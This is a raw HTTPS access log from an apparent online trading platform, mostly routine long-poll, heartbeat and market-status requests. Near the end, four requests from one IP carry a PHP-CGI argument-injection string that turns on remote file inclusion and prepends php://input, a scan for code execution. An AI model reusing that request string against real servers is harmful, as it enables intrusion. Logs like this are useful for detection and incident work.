[09/Jan/2026:12:28:39 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933188353 HTTP/1.1" -
[09/Jan/2026:12:28:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933189566 HTTP/1.1" -
[09/Jan/2026:12:28:42 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:28:42 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:28:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933191070 HTTP/1.1" -
[09/Jan/2026:12:28:44 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933193493 HTTP/1.1" -
[09/Jan/2026:12:28:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933194595 HTTP/1.1" -
[09/Jan/2026:12:28:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:28:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:28:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:28:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:28:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933196221 HTTP/1.1" -
[09/Jan/2026:12:28:48 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:28:48 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:28:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:28:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 15
[09/Jan/2026:12:28:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:28:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:28:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933198700 HTTP/1.1" -
[09/Jan/2026:12:28:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933201299 HTTP/1.1" -
[09/Jan/2026:12:28:55 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933203962 HTTP/1.1" -
[09/Jan/2026:12:28:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933206355 HTTP/1.1" -
[09/Jan/2026:12:28:59 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:28:59 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:28:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:28:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:29:00 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933209170 HTTP/1.1" -
[09/Jan/2026:12:29:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933211488 HTTP/1.1" -
[09/Jan/2026:12:29:05 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933214233 HTTP/1.1" -
[09/Jan/2026:12:29:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933216630 HTTP/1.1" -
[09/Jan/2026:12:29:10 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933219515 HTTP/1.1" -
[09/Jan/2026:12:29:12 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:29:12 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:29:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933221760 HTTP/1.1" -
[09/Jan/2026:12:29:15 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933224743 HTTP/1.1" -
[09/Jan/2026:12:29:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:29:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:29:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:29:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:29:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933226877 HTTP/1.1" -
[09/Jan/2026:12:29:18 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:29:18 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:29:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933229992 HTTP/1.1" -
[09/Jan/2026:12:29:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933231912 HTTP/1.1" -
[09/Jan/2026:12:29:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933235192 HTTP/1.1" -
[09/Jan/2026:12:29:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933237047 HTTP/1.1" -
[09/Jan/2026:12:29:29 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:29:29 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:29:30 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:29:30 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:29:31 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933240393 HTTP/1.1" -
[09/Jan/2026:12:29:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933242184 HTTP/1.1" -
[09/Jan/2026:12:29:36 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933245612 HTTP/1.1" -
[09/Jan/2026:12:29:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933247314 HTTP/1.1" -
[09/Jan/2026:12:29:42 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933250842 HTTP/1.1" -
[09/Jan/2026:12:29:42 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:29:42 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:29:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933252446 HTTP/1.1" -
[09/Jan/2026:12:29:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:29:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:29:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:29:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:29:47 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933256092 HTTP/1.1" -
[09/Jan/2026:12:29:48 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:29:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933257561 HTTP/1.1" -
[09/Jan/2026:12:29:48 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:29:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "-" -
[09/Jan/2026:12:29:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933261240 HTTP/1.1" -
[09/Jan/2026:12:29:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933262601 HTTP/1.1" -
[09/Jan/2026:12:29:57 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933266425 HTTP/1.1" -
[09/Jan/2026:12:29:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933267739 HTTP/1.1" -
[09/Jan/2026:12:29:59 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:29:59 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:30:00 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:30:00 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:30:01 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:30:01 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1196
[09/Jan/2026:12:30:01 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:12:30:02 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933271581 HTTP/1.1" -
[09/Jan/2026:12:30:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933272858 HTTP/1.1" -
[09/Jan/2026:12:30:08 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933276854 HTTP/1.1" -
[09/Jan/2026:12:30:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933278019 HTTP/1.1" -
[09/Jan/2026:12:30:12 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:30:12 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:30:13 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933282066 HTTP/1.1" -
[09/Jan/2026:12:30:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933283171 HTTP/1.1" -
[09/Jan/2026:12:30:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:30:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:30:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:30:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:30:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933287152 HTTP/1.1" -
[09/Jan/2026:12:30:18 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:30:18 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:30:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933288273 HTTP/1.1" -
[09/Jan/2026:12:30:23 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933292348 HTTP/1.1" -
[09/Jan/2026:12:30:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933293311 HTTP/1.1" -
[09/Jan/2026:12:30:24 +0800] 123.143.114.188 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 196
[09/Jan/2026:12:30:25 +0800] 123.143.114.188 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 196
[09/Jan/2026:12:30:25 +0800] 123.143.114.188 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /test.php?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 196
[09/Jan/2026:12:30:25 +0800] 123.143.114.188 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 196
[09/Jan/2026:12:30:28 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933297553 HTTP/1.1" -
[09/Jan/2026:12:30:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933298386 HTTP/1.1" -
[09/Jan/2026:12:30:29 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:30:29 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
